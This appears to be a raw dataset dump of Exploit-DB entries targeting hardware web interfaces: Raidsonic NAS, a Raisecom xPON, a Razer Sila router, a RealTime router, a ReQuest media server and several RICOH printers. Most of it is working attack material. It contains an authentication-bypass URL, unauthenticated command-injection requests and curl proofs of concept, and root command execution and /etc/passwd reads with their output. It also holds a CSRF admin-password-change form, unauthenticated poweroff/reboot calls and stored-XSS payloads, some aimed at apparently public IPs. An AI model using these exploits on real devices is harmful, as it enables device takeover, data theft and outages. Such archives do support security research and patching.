deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24499
Description: Raidsonic IB-NAS5220 and IB-NAS4220-B - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-02-14
Author: m-1-k-3

Exploit:
Device Name: IB-NAS5220 / IB-NAS4220-B
Vendor: Raidsonic

============ Vulnerable Firmware Releases: ============

Product Name IB-NAS5220 / IB-NAS4220-B
Tested Firmware IB5220: 2.6.3-20100206S
Tested Firmware IB4220: 2.6.3.IB.1.RS.1

Firmware Download: http://www.raidsonic.de/data/Downloads/Firmware/IB-NAS5220_standard.zip

============ Vulnerability Overview: ============

    * Authentication Bypass: 

-> Access the following URL to bypass the login procedure:
http://<IP>/nav.cgi?foldName=adm&localePreference=en

    * Stored XSS: 

System -> Time Settings -> NTP Server -> User Define

Injecting scripts into the parameter ntp_name reveals that this parameter is not properly validated for malicious input. You are able to place this script without authentication.

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/ICY-Box-Stored-XSS.png

    * Unauthenticated OS Command Injection 

The vulnerability is caused by missing input validation in the ping_size parameter and can be exploited to inject and execute arbitrary shell commands.

Example Exploit:
POST /cgi/time/timeHandler.cgi HTTP/1.1
Host: 192.168.178.41
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.41/cgi/time/time.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 186

month=1&date=1&year=2007&hour=12&minute=10&m=PM&timeZone=Amsterdam`COMMAND`&ntp_type=default&ntpServer=none&old_date=+1+12007&old_time=1210&old_timeZone=Amsterdam&renew=0

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/Raidsonic-IB-NAS-command-execution.png

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-010
Twitter: @s3cur1ty_de

============ Time Line: ============

August 2012 - discovered vulnerability
27.08.2012 - contacted vendor with vulnerability details for IB-NAS4220-B
28.08.2012 - vendor responded that they will not publish an update
15.10.2012 - contacted vendor with vulnerability details for IB-NAS5220
15.10.2012 - vendor responded that they will not publish an update
12.02.2013 - public release
===================== Advisory end =====================
Exploit-DB #46489
Description: Raisecom XPON ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2019-03-04
Author: JameelNabbo

Exploit:
# Exploit Title: Remote code execution in Raisecom xpon
# Date: 03/03/2019
# Exploit Author: JameelNabbo
# Website: Ordina.nl
# Vendor Homepage: https://www.raisecom.com
# Software Link: https://www.raisecom.com/products/xpon
# Version: ISCOMHT803G-U_2.0.0_140521_R4.1.47.002
# Tested on: MacOSX
# CVE-2019-7385

POC:
curl -i -s -k -X 'POST' \
-H 'Origin: http://127.0.0.1&apos; -H -H 'Content-Type:
application/x-www-form-urlencoded' -H 'User-Agent: Chrome/7.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/65.0.3325.181 Safari/537.36' -H 'Referer: http://192.168.1.1/password.asp&apos; \
--data-binary
$'userMode=0&oldpass=netstat&newpass=`reboot`&confpass=`reboot`&submit-url=%2Fpassword.asp&save=Apply+Changes&csrf_token=current_cCSRF_ToKEN'
\
'http://192.168.1.1/boaform/formPasswordSetup&apos;
Exploit-DB #50865
Description: Razer Sila - Command Injection
Type: webapps
Platform: hardware
Date: 2022-04-11
Author: Kevin Randall

Exploit:
# Exploit Title: Razer Sila - Command Injection
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 85

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"uid=0(root) gid=0(root)\n"}]}

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"ls"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 172

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"bin\ndev\netc\nhome\ninit\nlib\nmnt\nno_gui\noverlay\nproc\nrom\nroot\nsbin\nservices\nsys\ntmp\nusr\nvar\nwww\n"}]}
Exploit-DB #50864
Description: Razer Sila - Local File Inclusion (LFI)
Type: webapps
Platform: hardware
Date: 2022-04-11
Author: Kevin Randall

Exploit:
# Exploit Title: Razer Sila - Local File Inclusion (LFI)
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}

# Reponse
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 537

{"jsonrpc":"2.0","id":3,"result":[0,{"data":"root:x:0:0:root:\/root:\/bin\/ash\ndaemon:*:1:1:daemon:\/var:\/bin\/false\nftp:*:55:55:ftp:\/home\/ftp:\/bin\/false\nnetwork:*:101:101:network:\/var:\/bin\/false\nnobody:*:65534:65534:nobody:\/var:\/bin\/false\ndnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false\nmosquitto:x:200:200:mosquitto:\/var\/run\/mosquitto:\/bin\/false\nlldp:x:121:129:lldp:\/var\/run\/lldp:\/bin\/false\nadmin:x:1000:1000:root:\/home\/admin:\/bin\/false\nportal:x:1001:1001::\/home\/portal:\/bin\/false\n"}]}
Exploit-DB #42449
Description: RealTime RWR-3G-100 Router - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: hardware
Date: 2017-08-12
Author: Touhid M.Shaikh

Exploit:
<!--
# Exploit Title: RealTime RWR-3G-100 Router Cross-Site Request Forgery
(Change Admin Password)
# Date: 13 Aug, 2017
# Vendor Homepage : http://www.rtsindia.com/
# Vendor Contact : https://www.linkedin.com/company/realtime-system-ltd.
# Firmware Version : Ver1.0.56
# Exploit Author: Touhid M.Shaikh
# Contact: https://github.com/touhidshaikh
# Website: http://touhidshaikh.com/


===================
Product Description
===================
Provides Wireless/ Wired Broadband connectivity to SOHO & SME. Provides
Broadband connectivity to multiple users on the move.Uses 3G/2.75G USB
Dongle to get connected to Broadband/ Optionally Uses Wired Broadband
connectivity. Supports HSPA, EVDO, UMTS, HSDPA & HSUPA USB Dongles and
Compatible with Blackberry & iPhone. Creates 802.11n Wi-Fi Hotspot for
Multiple Users to get connected to Broadband. Small & Sleek Portable
Router, Easy to Install & Manage.
-->



<!-- CHANGE ADMIN PASSWORD to test-->
<form action=http://192.168.1.1/goform/formPasswordSetup method=POST
name="password">
    <input type="text" name="username" value="admin">
    <input type="password" name="newpass" value="test">
    <input type="password" name="confpass" value="test">
    <input type="hidden" value="/status.asp" name="submit-url">
    <input type="submit" value="Apply Changes" name="save">
  <input type="reset" value="  Reset  " name="reset" id="password Reset">
</form>
<!-- CHANGE ADMIN PASSWORD Ends here-->


<!---Enable The UPNP Service-->
<form action=http://192.168.1.1/goform/formUpnpSetup method=POST
name="upnpSetup">
  <input type="radio" name="upnpfunction" id="upnpfunctiony" value="yes"
checked>
  <input type="radio" name="upnpfunction" id="upnpfunctionn" value="no" >

<!--
  <input type="radio" name="avupnpfunction" id="avupnpfunctiony"
value="yes" checked>
  <input type="radio" name="avupnpfunction" id="avupnpfunctionn" value="no"
>
-->
  <input type="submit" value="Apply Changes" name="save" id="upnp apply" >
  <input type="reset" value="  Reset  " name="reset" id="upnp Reset">
  <input type="hidden" value="/upnp.asp" name="submit-url">
</form>
<!---Enable The UPNP Service Ends here-->



<!--
======GREEtZ=====
my cool Broo and Pratik K.tjani
-->
Exploit-DB #48951
Description: ReQuest Serious Play F3 Media Server 7.0.3 - Remote Denial of Service
Type: webapps
Platform: hardware
Date: 2020-10-26
Author: LiquidWorm

Exploit:
# Exploit Title: ReQuest Serious Play F3 Media Server 7.0.3 - Remote Denial of Service
# Exploit Author: LiquidWorm
# Software Link: http://request.com/
# Version: 3.0.0



Vendor: ReQuest Serious Play LLC
Product web page: http://www.request.com
Affected version: 7.0.3.4968 (Pro)
                  7.0.2.4954
                  6.5.2.4954
                  6.4.2.4681
                  6.3.2.4203
                  2.0.1.823

Summary: F3 packs all the power of ReQuest's multi-zone serious Play servers
into a compact powerhouse. With the ability to add unlimited NAS devices, the
F3 can handle your entire family's media collection with ease.

Desc: The device can be shutdown or rebooted by an unauthenticated attacker
when issuing one HTTP GET request.

Tested on: ReQuest Serious Play® OS v7.0.1
           ReQuest Serious Play® OS v6.0.0
           Debian GNU/Linux 5.0
           Linux 3.2.0-4-686-pae
           Linux 2.6.36-request+lenny.5
           Apache/2.2.22
           Apache/2.2.9
           PHP/5.4.45
           PHP/5.2.6-1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2020-5601
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5601.php


01.08.2020

--


$ curl http://192.168.1.17:3664/remote/index.php?cmd=poweroff
$ curl http://192.168.1.17:3664/remote/index.php?cmd=reboot
Exploit-DB #45454
Description: RICOH Aficio MP 301 Printer - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-24
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH Aficio MP 301 Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-301spf-black-and-white-laser-multifunction-printer/_/R-416185
# Software: RICOH Printer
# Product Version:  Aficio MP 301
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Stored XSS
# CVE: N/A

# On the RICOH Aficio MP 301 printer, HTML Injection and Stored XSS vulnerabilities have been 
# discovered in the area of adding addresses via the entryNameIn parameter 
# to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: 138.100.78.33
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://138.100.78.33/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 192
Cookie: risessionid=[PII_REDACTED]72966; cookieOnOffChecker=on; wimsesid=163487735
Connection: close

mode=ADDUSER&step=BASE&wimToken=507435387&entryIndexIn=00038&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1
Exploit-DB #45487
Description: RICOH MP 305+ Printer - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-25
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH MP 305+ Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-europe.com/products/office-printers-fax/all-in-one-printers/mp-305sp.html
# Software: RICOH Printer
# Product Version:  MP 305+, MP C1803 JPN, MP C6503 Plus, MP C307
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Stored XSS
# CVE:

# On the RICOH Aficio MP 305+ printer and other affected models, HTML Injection and Stored XSS 
# vulnerabilities have been discovered in the area of adding addresses via the entryNameIn 
# parameter to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://Target/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 193
Cookie: risessionid=[PII_REDACTED]2702; cookieOnOffChecker=on; wimsesid=182442825
Connection: close

mode=ADDUSER&step=BASE&wimToken=[PII_REDACTED]&entryIndexIn=00002&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1
Exploit-DB #45526
Description: RICOH MP C1803 JPN Printer - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-10-03
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH MP C1803 JPN Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link : https://www.ricoh.co.jp/mfp/mp_c/1803/
# Software : RICOH Printer
# Product Version:  MP C1803 JPN
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection and Stored XSS
# Affected Products: RICOH MP C1803 JPN, RICOH MP C307
# CVE : CVE-2018-17310, CVE-2018-17313

# On the RICOH MP C1803 JPN printer, HTML Injection and Stored XSS vulnerabilities have 
# been discovered in the area of adding addresses via the entryNameIn parameter to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://Target/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 209
Cookie: risessionid=[PII_REDACTED]4617; cookieOnOffChecker=on; wimsesid=911065987
Connection: close

mode=ADDUSER&step=BASE&wimToken=847703007&entryIndexIn=00002&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryReadNameIn=&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1
Exploit-DB #45461
Description: RICOH MP C2003 Printer - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-25
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH MP C2003 Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link : https://www.ricoh.ca/en/products/pd/mp-c2003-color-laser-multifunction-printer/_/R-240-417253
# Software : RICOH Printer
# Product Version:  MP C2003
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection and Stored XSS
# CVE : N/A

# On the MP C2003 printer, HTML Injection and Stored XSS vulnerabilities have been discovered in 
# the area of adding addresses via the entryNameIn parameter 
# to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: 134.96.209.202
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://134.96.209.202/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 193
Cookie: risessionid=[PII_REDACTED]51828; cookieOnOffChecker=on; wimsesid=552487526
Connection: close

mode=ADDUSER&step=BASE&wimToken=[PII_REDACTED]&entryIndexIn=00005&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1
Exploit-DB #45490
Description: RICOH MP C406Z Printer - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-25
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH MP C406Z Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c406-color-laser-multifunction-printer/_/R-417322
# Software: RICOH Printer
# Product Version:  MP C406Z
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Stored XSS
# CVE: N/A

# On the RICOH MP C406Z printer, HTML Injection and Stored XSS vulnerabilities have been discovered 
# in the area of adding addresses via the entryNameIn parameter 
# to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: 129.24.200.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://129.24.200.133/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 193
Cookie: risessionid=[PII_REDACTED]40046; cookieOnOffChecker=on; wimsesid=655124944
Connection: close

mode=ADDUSER&step=BASE&wimToken=[PII_REDACTED]&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1
Exploit-DB #45264
Description: RICOH MP C4504ex Printer - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: hardware
Date: 2018-08-27
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH MP C4504ex Printer - Cross-Site Request Forgery (Add Admin)
# Date: 2018-08-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link : https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c4504ex-color-laser-multifunction-printer/_/R-417998
# Software : RICOH Printer
# Product Version:  MP C4504ex
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection
# CVE : CVE-2018-15884

# CSRF vulnerability has been discovered on the printer of MP C4504ex of RICOH product.
# Low priviliage users are able to create administrator accounts

HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 193
Cookie: risessionid=[PII_REDACTED]7225; cookieOnOffChecker=on; wimsesid=103007361
Connection: close

mode=ADDUSER&step=BASE&wimToken=[PII_REDACTED]&entryIndexIn=00007&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1

HTTP Response Request :

GET /success.txt HTTP/1.1
Host: detectportal.firefox.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Exploit-DB #45460
Description: RICOH MP C6003 Printer - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-24
Author: Ismail Tasdelen

Exploit:
# Exploit Title: RICOH MP C6003 Printer - Cross-Site Scripting
# Date: 2018-09-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c6003-color-laser-multifunction-printer/_/R-416534
# Software: RICOH Printer
# Product Version:  MP C6003
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Stored XSS
# CVE: N/A

# On the RICOH MP C6003 printer, HTML Injection and Stored XSS vulnerabilities have been 
# discovered in the area of adding addresses via the entryNameIn parameter 
# to /web/entry/en/address/adrsSetUserWizard.cgi.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://TARGET/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 191
Cookie: risessionid=[PII_REDACTED]7915; cookieOnOffChecker=on; wimsesid=201698077
Connection: close

mode=ADDUSER&step=BASE&wimToken=71325138&entryIndexIn=00031&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1